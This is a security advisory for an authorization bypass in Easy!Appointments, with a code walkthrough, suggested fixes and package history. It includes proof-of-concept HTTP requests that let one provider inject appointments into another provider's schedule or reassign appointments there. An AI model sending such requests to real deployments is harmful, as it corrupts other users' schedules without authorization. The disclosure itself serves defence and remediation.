Low

Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass

  • Disclosed: 29.07.2026
  • Updated: 11.10.2026 10:22

Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.


Root Cause — Step by Step Code Flow

Step 1 — Search correctly enforces provider isolation

The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:

php
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
    foreach ($appointments as $index => $appointment) {
        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
            unset($appointments[$index]);
        }
    }
}

Step 2 — store() only checks generic add permission

The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:

php
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}
 
$appointment = json_decode(request('appointment'), true);

Step 3 — Attacker-controlled id_users_provider saved directly

The controller whitelists and persists the appointment including the attacker-controlled provider ID:

php
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);

No check is performed to verify id_users_provider matches the current session.

Step 4 — Write-before-crash on store()

After the unauthorized row is committed, the controller crashes on a type error:

php
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id

The attacker receives a 500 error response, but the foreign appointment row is already in the database.

Step 5 — update() has the same missing ownership check

The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:

php
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}
 
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);

A provider can reassign any appointment they can edit into a foreign provider's calendar.


Proof of Concept

Attacker: Provider with session ID 4 Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

http
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 500 Internal Server Error — type error on find()

But the row is committed:

id  start_datetime        id_users_provider  notes
6   2026-05-29 15:00:00   2                  foreign provider create by alicer

Provider 4 created a row that belongs to provider 2.


Step 2 — Reassign existing appointment to foreign provider:

http
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 200 OK

Result: Appointment 7 now belongs to provider 2 instead of provider 4.

Runtime verification result:

attacker provider id:                    4
foreign created appointment provider id: 2
reassigned appointment provider id:      2
provider-visible appointments:           0
PASS

The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.


Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

  • Inject fake appointments into a colleague's schedule causing confusion and double-bookings
  • Move their own appointments into another provider's calendar to hide or offload them
  • Disrupt scheduling integrity for staff and customers
  • Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.

Suggested Fix

In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:

php
if ($role_slug === DB_SLUG_PROVIDER) {
    $appointment['id_users_provider'] = $user_id; // force own provider ID
}

Fix the write-before-crash bug in store():

php
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array

Reporter

Yash Shendge (ashrexon) 2026-05-25

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package alextselegidis/easyappointments < 1.6.0 1.6.0

References

CVSS score 3.3/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Weakness (CWE)
CWE-639, CWE-862
Platform
Composer
Package
alextselegidis/easyappointments
Disclosed
29.07.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-w8xc-8g92-v77h - CC BY 4.0

Vulnerability history: alextselegidis/easyappointments

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (20) in the archive
Total entries
20
First → latest
03.2022 07.2026
Without a fix
15
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • High 4
  • Medium 9
  • Low 4

Disclosures per year

  1. 2022: 2
  2. 2023: 7
  3. 2024: 0
  4. 2025: 4
  5. 2026: 7
Severity:
  1. Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass this entry
    Low · 3.3 CVE-2026-52839 < 1.6.0 1.6.0
  2. High · 7.3 CVE-2023-1367 < 1.5.0 1.5.0
  3. Critical · 9.8 CVE-2023-1269 <= 1.4.3 no fix
  4. High · 8.8 CVE-2022-1397 <= 1.4.3 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.